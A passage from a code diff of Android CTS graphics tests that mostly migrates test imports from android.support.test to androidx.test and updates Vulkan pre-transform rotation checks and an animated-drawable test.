+++ b/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.graphics.RegionIterator;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RegionTest.java b/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
index f7084cb..a6b482e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
@@ -25,8 +25,9 @@
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java b/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
index be31672..9c2651c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
@@ -19,8 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Region.Op;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
index 7c18fe9..a393ae8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
@@ -25,8 +25,9 @@
 import android.graphics.Color;
 import android.graphics.Matrix;
 import android.graphics.Shader;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
index 47c49de..455f59e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
@@ -19,8 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
index d6eac97..207f74e6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
@@ -30,8 +30,9 @@
 import android.graphics.Path.Direction;
 import android.graphics.PathEffect;
 import android.graphics.SumPathEffect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
index cb7ec0a..a627d7f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
@@ -27,10 +27,11 @@
 import android.graphics.Rect;
 import android.graphics.Shader;
 import android.graphics.SweepGradient;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.ColorUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
index a82adfc..3187871 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
@@ -16,18 +16,13 @@
 
 package android.graphics.cts;
 
-import static org.junit.Assert.assertEquals;
 import static android.opengl.EGL14.*;
 
 import android.opengl.EGL14;
 import android.opengl.EGLConfig;
-import android.opengl.EGLContext;
 import android.opengl.EGLDisplay;
-import android.opengl.EGLSurface;
-import android.opengl.GLES20;
-import android.support.test.filters.SmallTest;
 
-import java.util.concurrent.CyclicBarrier;
+import androidx.test.filters.SmallTest;
 
 import org.junit.After;
 import org.junit.Before;
@@ -35,7 +30,6 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.BlockJUnit4ClassRunner;
 
-
 // This class contains tests for the Linux kernel sync file system, and the NDK interfaces for it
 // (android/sync.h). Unfortunately, the interfaces exposed by the kernel make it difficult to test
 // for a couple reasons:
@@ -53,7 +47,6 @@
 //     signal them has been submitted to the kernel, and will complete without further action from
 //     userland. This means that it is impossible to reliably do something before a sync file has
 //     signaled.
-
 @SmallTest
 @RunWith(BlockJUnit4ClassRunner.class)
 public class SyncTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 425b8a5..018e5dc 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -31,9 +31,10 @@
 import android.graphics.Paint;
 import android.graphics.Typeface;
 import android.graphics.Typeface.Builder;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 2fe4352..a3fc2d3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -23,11 +23,14 @@
 
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
 import org.json.JSONArray;
 import org.json.JSONException;
 import org.json.JSONObject;
@@ -36,7 +39,6 @@
 import org.junit.runner.RunWith;
 
 import java.io.UnsupportedEncodingException;
-import com.android.compatibility.common.util.CddTest;
 
 /**
  * Test that the Vulkan loader is present, supports the required extensions, and that system
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
index 0194044..32cb757 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
@@ -57,18 +57,15 @@
             return;
         }
 
-        if (((WindowManager) getSystemService(Context.WINDOW_SERVICE))
-                        .getDefaultDisplay()
-                        .getRotation()
-                != Surface.ROTATION_0) {
-            throw new RuntimeException("Display not in natural orientation");
+        if (getRotation() == Surface.ROTATION_0) {
+            if (getResources().getConfiguration().orientation
+                    == Configuration.ORIENTATION_LANDSCAPE) {
+                setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
+            } else {
+                setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
+            }
         }
 
-        if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) {
-            setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
-        } else {
-            setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
-        }
         sOrientationRequested = true;
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index 06f92d3..de60931 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -19,18 +19,21 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 
+import android.content.Context;
+import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 import android.view.PixelCopy;
-import android.view.Surface;
 import android.view.SurfaceView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 
 import org.junit.Before;
@@ -41,7 +44,7 @@
 /*
  * testVulkanPreTransformSetToMatchCurrentTransform()
  *
- *   For devices rotating 90 degree CW when orientation changes.
+ *   For devices rotating 90 degrees.
  *
  *      Buffer          Screen
  *      ---------       ---------
@@ -50,7 +53,16 @@
  *      | B | Y |       | R | B |
  *      ---------       ---------
  *
- *   For devices rotating 90 degree CCW when orientation changes.
+ *   For devices rotating 180 degrees.
+ *
+ *      Buffer          Screen
+ *      ---------       ---------
+ *      | R | G |       | Y | B |
+ *      ---------       ---------
+ *      | B | Y |       | G | R |
+ *      ---------       ---------
+ *
+ *   For devices rotating 270 degrees.
  *
  *      Buffer          Screen
  *      ---------       ---------
@@ -59,6 +71,15 @@
  *      | B | Y |       | Y | G |
  *      ---------       ---------
  *
+ *   For devices not rotating.
+ *
+ *      Buffer          Screen
+ *      ---------       ---------
+ *      | R | G |       | R | G |
+ *      ---------       ---------
+ *      | B | Y |       | B | Y |
+ *      ---------       ---------
+ *
  * testVulkanPreTransformNotSetToMatchCurrentTransform()
  *
  *      Buffer          Screen
@@ -75,6 +96,7 @@
     private static final String TAG = "vulkan";
     private static final boolean DEBUG = false;
     private static VulkanPreTransformCtsActivity sActivity = null;
+    private Context mContext;
 
     @Rule
     public ActivityTestRule<VulkanPreTransformCtsActivity> mActivityRule =
@@ -86,11 +108,17 @@
         // Work around for b/77148807
         // Activity was falsely created before ActivityManager set config change to landscape
         SystemClock.sleep(2000);
+        mContext = InstrumentationRegistry.getContext();
     }
 
     @Test
     public void testVulkanPreTransformSetToMatchCurrentTransform() throws Throwable {
         Log.d(TAG, "testVulkanPreTransformSetToMatchCurrentTransform start");
+        if (!hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)
+                || !hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)) {
+            Log.d(TAG, "Rotation is not supported on this device.");
+            return;
+        }
         sActivity = mActivityRule.launchActivity(null);
         sActivity.testVulkanPreTransform(true);
         sActivity.finish();
@@ -100,12 +128,21 @@
     @Test
     public void testVulkanPreTransformNotSetToMatchCurrentTransform() throws Throwable {
         Log.d(TAG, "testVulkanPreTransformNotSetToMatchCurrentTransform start");
+        if (!hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)
+                || !hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)) {
+            Log.d(TAG, "Rotation is not supported on this device.");
+            return;
+        }
         sActivity = mActivityRule.launchActivity(null);
         sActivity.testVulkanPreTransform(false);
         sActivity.finish();
         sActivity = null;
     }
 
+    private boolean hasDeviceFeature(final String requiredFeature) {
+        return mContext.getPackageManager().hasSystemFeature(requiredFeature);
+    }
+
     private static Bitmap takeScreenshot() {
         assertNotNull("sActivity should not be null", sActivity);
         Rect srcRect = new Rect();
@@ -130,29 +167,33 @@
                 + Math.abs(actualB - expectedB);
     }
 
-    private static boolean validatePixelValuesAfterRotation(boolean setPreTransform) {
+    private static boolean validatePixelValuesAfterRotation(
+            boolean setPreTransform, int preTransformHint) {
         Bitmap bitmap = takeScreenshot();
 
         int width = bitmap.getWidth();
         int height = bitmap.getHeight();
         int diff = 0;
-        if (!setPreTransform) {
+        if (!setPreTransform || preTransformHint == 0x1 /*VK_SURFACE_TRANSFORM_IDENTITY_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 255, 0, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, 0), 0, 255, 0);
             diff += pixelDiff(bitmap.getPixel(0, height - 1), 0, 0, 255);
             diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 255, 255, 0);
-        } else if (sActivity.getRotation() == Surface.ROTATION_270) {
-            // For devices rotating 90 degree CCW when orientation changes.
-            diff += pixelDiff(bitmap.getPixel(0, 0), 0, 0, 255);
-            diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 0, 0);
-            diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 255, 0);
-            diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 255, 0);
-        } else {
-            // For devices rotating 90 degree CW when orientation changes.
+        } else if (preTransformHint == 0x2 /*VK_SURFACE_TRANSFORM_ROTATE_90_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 0, 255, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 255, 0);
             diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 0, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 0, 255);
+        } else if (preTransformHint == 0x4 /*VK_SURFACE_TRANSFORM_ROTATE_180_BIT_KHR*/) {
+            diff += pixelDiff(bitmap.getPixel(0, 0), 255, 255, 0);
+            diff += pixelDiff(bitmap.getPixel(width - 1, 0), 0, 0, 255);
+            diff += pixelDiff(bitmap.getPixel(0, height - 1), 0, 255, 0);
+            diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 255, 0, 0);
+        } else { /* 0x8 : VK_SURFACE_TRANSFORM_ROTATE_270_BIT_KHR*/
+            diff += pixelDiff(bitmap.getPixel(0, 0), 0, 0, 255);
+            diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 0, 0);
+            diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 255, 0);
+            diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 255, 0);
         }
 
         return diff < 10;
diff --git a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
index bebdc58..ad8f0af 100644
--- a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
@@ -28,11 +28,12 @@
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
 import android.graphics.YuvImage;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
index 8def08f..8da1c34 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
@@ -25,13 +25,14 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Log;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
index 99d1327..fc5e954 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
@@ -30,10 +30,12 @@
 import android.graphics.Region.Op;
 import android.graphics.drawable.AdaptiveIconDrawable;
 import android.graphics.drawable.ColorDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
index 0266e34..5fbc99c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
@@ -17,8 +17,9 @@
 package android.graphics.drawable.cts;
 
 import android.graphics.drawable.Animatable2.AnimationCallback;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index a3f116e..b2281b2 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -39,12 +39,13 @@
 import android.graphics.drawable.AnimatedImageDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ImageView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.BitmapUtils;
 
 import org.junit.Before;
@@ -350,7 +351,12 @@
 
             drawable.start();
             assertTrue(drawable.isRunning());
+        });
 
+        cb.waitForStart();
+        cb.assertStarted(true);
+
+        mActivityRule.runOnUiThread(() -> {
             drawable.stop();
             assertFalse(drawable.isRunning());
         });
@@ -358,7 +364,6 @@
         // This duration may be overkill, but we need to wait for the message
         // to post. Increasing it should help with flakiness on bots.
         cb.waitForEnd(DURATION * 3);
-        cb.assertStarted(true);
         cb.assertEnded(true);
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
index 8fad002..cc80f97 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
@@ -37,12 +37,13 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index 422f06d..c2e2acc 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -29,17 +29,17 @@
 import android.graphics.Rect;
 import android.graphics.cts.R;
 import android.graphics.drawable.AnimatedVectorDrawable;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
 import android.util.Log;
 import android.view.PixelCopy;
 import android.view.View;
 import android.widget.ImageView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
index f399cf6..773cc9e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
@@ -32,18 +32,17 @@
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffColorFilter;
 import android.graphics.cts.R;
-import android.graphics.drawable.Animatable2;
 import android.graphics.drawable.AnimatedVectorDrawable;
-import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.ImageView;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
index eb27cf2..3fc38b1 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
@@ -32,13 +32,14 @@
 import android.graphics.drawable.AnimationDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 import android.widget.ImageView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.After;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 536c16f..383f2d5 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -25,43 +25,36 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.content.res.Resources.Theme;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.BitmapFactory;
-import android.graphics.Rect;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.Paint;
+import android.graphics.PixelFormat;
+import android.graphics.PorterDuff.Mode;
+import android.graphics.Shader;
+import android.graphics.Shader.TileMode;
 import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.util.AttributeSet;
+import android.view.Gravity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParserException;
 
-import android.content.Context;
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.ColorFilter;
-import android.graphics.Paint;
-import android.graphics.PixelFormat;
-import android.graphics.Shader;
-import android.graphics.Bitmap.Config;
-import android.graphics.PorterDuff.Mode;
-import android.graphics.Shader.TileMode;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.AttributeSet;
-import android.util.LayoutDirection;
-import android.util.Xml;
-import android.view.Gravity;
-
 import java.io.ByteArrayInputStream;
-import java.io.File;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
index 2a41fbe..9dc9913 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
@@ -46,14 +46,15 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
 import android.view.Gravity;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
index ee34254..fe617bd 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
@@ -31,12 +31,13 @@
 import android.graphics.PorterDuffColorFilter;
 import android.graphics.cts.R;
 import android.graphics.drawable.ColorDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
index abba96e..84d00577c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
@@ -16,25 +16,25 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.animation.ValueAnimator;
 import android.content.Context;
 import android.graphics.cts.R;
 import android.graphics.drawable.Animatable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
-
 /**
  * This test is used to verify that the CustomAnimationScaleListDrawable's current drawable depends
  * on animation duration scale. When the scale is 0, it is a static drawable, otherwise, it is an
